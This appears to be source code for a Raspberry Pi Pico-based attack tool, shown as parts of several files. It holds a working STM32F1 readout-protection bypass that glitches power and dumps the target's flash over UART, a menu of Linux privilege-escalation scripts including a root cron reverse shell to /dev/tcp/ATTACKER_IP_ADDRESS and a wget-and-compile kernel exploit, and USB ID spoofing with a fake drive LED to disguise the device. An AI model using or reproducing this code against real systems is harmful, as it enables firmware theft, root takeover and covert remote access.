pwm_gpio_to_slice_num(LED_PIN); 78 | pwm_set_wrap(slice_num, 255); 79 | pwm_set_chan_level(slice_num, PWM_CHAN_A, 0); 80 | pwm_set_enabled(slice_num, true); 81 | 82 | // -- Attack begins here -- 83 | 84 | // Set BOOT0 to high and enable power 85 | 86 | /* Boot into SRAM so we can fetch SRAM reset vector address 87 | * See https://github.com/CTXz/stm32f1-picopwner/issues/1#issuecomment-1603281043 88 | */ 89 | gpio_put(BOOT0_PIN, 1); 90 | 91 | /* Enable power 92 | * Ensure that the power pin set high before configuring it as output 93 | * to prevent the target from sinking current through the pin if the debug 94 | * probe is already attached 95 | */ 96 | gpio_put(POWER_PIN, 1); 97 | gpio_set_dir(POWER_PIN, GPIO_OUT); 98 | 99 | gpio_put(LED_PIN, 0); 100 | 101 | // -- Ensure that the target exploit firmware has been loaded into the target's SRAM before preceeding -- 102 | 103 | // Wait for any serial input to start the attack 104 | while (getchar_timeout_us(0) == PICO_ERROR_TIMEOUT) 105 | { 106 | tight_loop_contents(); 107 | } 108 | 109 | // Drop the power 110 | gpio_put(LED_PIN, 1); 111 | gpio_put(POWER_PIN, 0); 112 | 113 | // Wait for reset to go low 114 | while (gpio_get(RESET_PIN)) 115 | { 116 | tight_loop_contents(); 117 | } 118 | 119 | // Immediately re-enable power 120 | gpio_put(POWER_PIN, 1); 121 | 122 | // Debugger lock is now disabled and we're now 123 | // booting from SRAM. Wait for the target to run stage 1 124 | // of the exploit which sets the FPB to jump to stage 2 125 | // when the PC reaches a reset vector fetch (0x00000004) 126 | sleep_ms(15); 127 | 128 | // Set BOOT0 to boot from flash. This will trick the target 129 | // into thinking it's running from flash, which will 130 | // disable readout protection. 131 | gpio_put(BOOT0_PIN, 0); 132 | 133 | // Reset the target 134 | gpio_set_dir(RESET_PIN, GPIO_OUT); 135 | gpio_put(RESET_PIN, 0); 136 | 137 | // Wait for reset 138 | sleep_ms(15); 139 | 140 | // Release reset 141 | // Due to the FPB, the target will now jump to 142 | // stage 2 of the exploit and dump the contents 143 | // of the flash over UART 144 | gpio_set_dir(RESET_PIN, GPIO_IN); 145 | gpio_pull_up(RESET_PIN); 146 | 147 | // Wait for dump start magic to ensure 148 | // that we don't forward any garbage data 149 | // caused by the reset 150 | uint magic_index = 0; 151 | while (true) 152 | { 153 | char c = uart_getc(UART_ID); 154 | if (c == DUMP_START_MAGIC[magic_index]) 155 | { 156 | if (++magic_index == sizeof(DUMP_START_MAGIC)) 157 | { 158 | break; 159 | } 160 | } 161 | else 162 | { 163 | magic_index = 0; 164 | } 165 | } 166 | 167 | // Forward dumped data from UART to USB serial 168 | uint stalls = 0; 169 | while (true) 170 | { 171 | if (uart_is_readable(UART_ID)) 172 | { 173 | char c = uart_getc(UART_ID); 174 | putchar(c); 175 | pwm_set_gpio_level(LED_PIN, c); // LED will change intensity based on UART data 176 | stalls = 0; 177 | } else 178 | { 179 | // If no data is received for a while, turn off the LED 180 | if (++stalls == UART_STALLS_FOR_LED_OFF) 181 | pwm_set_gpio_level(LED_PIN, 0); 182 | } 183 | } 184 | } -------------------------------------------------------------------------------- /src/uid.c: -------------------------------------------------------------------------------- 1 | /** 2 | * uid.c 3 | * priv esc on vulnerable systems 4 | */ 5 | 6 | #include "uid.h" 7 | 8 | /** 9 | * target must have: 10 | * 11 | * gcc(for most attacks) 12 | * nano text editor(should be installed by default) 13 | * write access to /tmp directory 14 | * 15 | * although there are multiple methods of attacking a target system, we can take advantage of a couple of them 16 | */ 17 | 18 | /** 19 | * we can take advantage of multiple methods, including lazy sudo configuration, suid, etc 20 | * 21 | * however unlike normal scripts, this is instead a pre defined one 22 | */ 23 | 24 | // define scripts 25 | uint8_t binaryEscScript[100] = { 26 | // cd /tmp 27 | // echo "/bin/bash" > exp 28 | // chmod x+s exp 29 | // export PATH=$PATH:/tmp 30 | // ./exp 31 | }; 32 | 33 | /** 34 | * for this exploit we leverage lazy privileges for nano, but again we can change this probably to another binary... 35 | * 36 | * exploit source: https://gtfobins.github.io/gtfobins/nano 37 | */ 38 | uint8_t suidEscScript[100] = { 39 | // nano 40 | // ^R^X 41 | // reset; sh 1>&0 2>&0 42 | }; 43 | 44 | uint8_t cronEscScript[100] = { 45 | // cd /home 46 | // echo "bash -i >& /dev/tcp/ATTACKER_IP_ADDRESS/PORT" > cron.sh 47 | // echo "* * * * * root /home/cron.sh" >> /etc/crontab 48 | }; 49 | 50 | uint8_t kernelExpScript[100] = { 51 | // cd /tmp 52 | // wget https://raw.githubusercontent.com/SecWiki/linux-kernel-exploits/master/2015/CVE-2015-1328/37292.c 53 | // gcc 37292.c -o kernelExp 54 | // chmod +s kernelExp 55 | // ./kernelExp 56 | }; 57 | 58 | void exploitMenu() { 59 | printf("\nThis is a set of pre-configured scripts meant for gaining a root shell, via the means of physically being connected to the system(perhaps by an HDMI cable), or perhaps through a reverse shell.\n"); 60 | printf("\n1. Binary path Exploit\n"); 61 | printf("2. SUID Exploit with GNU Nano\n"); 62 | printf("3. Reverse shell through Cron-jobs\n"); 63 | printf("4. (Older) Kernel Exploit\n"); 64 | 65 | printf("\n> "); 66 | char choiceD[10]; 67 | 68 | // remove whitespace 69 | fgets(choiceD, sizeof(choiceD), stdin); 70 | choiceD[strcspn(choiceD, "\n")] = '\0'; 71 | 72 | // uppercase and compare it 73 | for (int i = 0; choiceD[i]; i++) { 74 | choiceD[i] = toupper(choiceD[i]); 75 | } 76 | 77 | if (strcmp(choiceD, "1") == 0) { 78 | binaryEsc(); 79 | return; 80 | } 81 | 82 | if (strcmp(choiceD, "2") == 0) { 83 | suidEsc(); 84 | return; 85 | } 86 | 87 | if (strcmp(choiceD, "3") == 0) { 88 | cronEsc(); 89 | return; 90 | } 91 | 92 | if (strcmp(choiceD, "4") == 0) { 93 | kernelExp(); 94 | return; 95 | } 96 | 97 | if (strcmp(choiceD, "EXIT") == 0) { 98 | return; 99 | } 100 | } 101 | 102 | // attack creates a binary then runs it in the /tmp directory 103 | void binaryEsc() { 104 | format(); 105 | read(binaryEscScript); 106 | } 107 | 108 | // attack takes advantage of lazy sudo configuration for nano 109 | void suidEsc() { 110 | format(); 111 | read(suidEscScript); 112 | } 113 | 114 | // totally not xz! 115 | // attack creates a root reverse shell using a cron job 116 | void cronEsc() { 117 | format(); 118 | read(cronEscScript); 119 | } 120 | 121 | // attack creates an overlay fs if vulnerable 122 | void kernelExp() { 123 | format(); 124 | read(kernelExpScript); 125 | } -------------------------------------------------------------------------------- /src/usb.c: -------------------------------------------------------------------------------- 1 | /** 2 | * usb.c 3 | * fake usb related things/disguising 4 | */ 5 | 6 | #include "usb.h" 7 | 8 | // fake usb id's 9 | 10 | /** 11 | * see https://github.com/samyk/poisontap/blob/master/pi_startup.sh for fake id's 12 | */ 13 | 14 | tusb_desc_device_t deviceDescriptor = { 15 | .bLength = sizeof(tusb_desc_device_t), 16 | .bDescriptorType = TUSB_DESC_DEVICE, 17 | .bcdUSB = 0x0200, // USB 2.0 18 | 19 | .bDeviceClass = 0, 20 | .bDeviceSubClass = 0, 21 | .bDeviceProtocol = 0, 22 | .bMaxPacketSize0 = CFG_TUD_ENDPOINT0_SIZE, 23 | 24 | .idVendor = 0x1d6b, // linux foundation 25 | .idProduct = 0x0104, // multi-function composite gadget 26 | .bcdDevice = 0x0100, 27 | .iManufacturer = 0x01, 28 | .iProduct = 0x02, 29 | .iSerialNumber = 0x03, 30 | 31 | .bNumConfigurations = 1 32 | }; 33 | 34 | // faking usb drive blinking 35 | void fakeUSB() { 36 | bool led = false; 37 | 38 | printf("\n1. Start LED blinking\n"); 39 | printf("2. Stop LED blinking\n"); 40 | printf("\n> "); 41 | 42 | int choiceA; 43 | scanf("%d", &choiceA); 44 | switch (choiceA) { 45 | case 1: 46 | if (led) { 47 | printf("Already running! :/\n"); 48 | } else { 49 | led = true; 50 | while (led) { 51 | gpio_put(LED_PIN, 1); // led on 52 | sleep_ms(500); 53 | gpio_put(LED_PIN, 0); // led off 54 | sleep_ms(500); 55 | 56 | if (scanf("%d", &choiceA) == 1 && choiceA == 2) { 57 | led = false; 58 | } 59 | } 60 | } 61 | break; 62 | 63 | case 2: 64 | led = false; 65 | break; 66 | 67 | default: 68 | printf("%d: Invalid choice\n", choiceA); 69 | } 70 | } 71 | 72 | // spoof device id's based on deviceDescriptor 73 | void spoofID() { 74 | // init regardless 75 | tusb_init(); 76 | 77 | tud_descriptor_device_register(&deviceDescriptor); 78 | } --------------------------------------------------------------------------------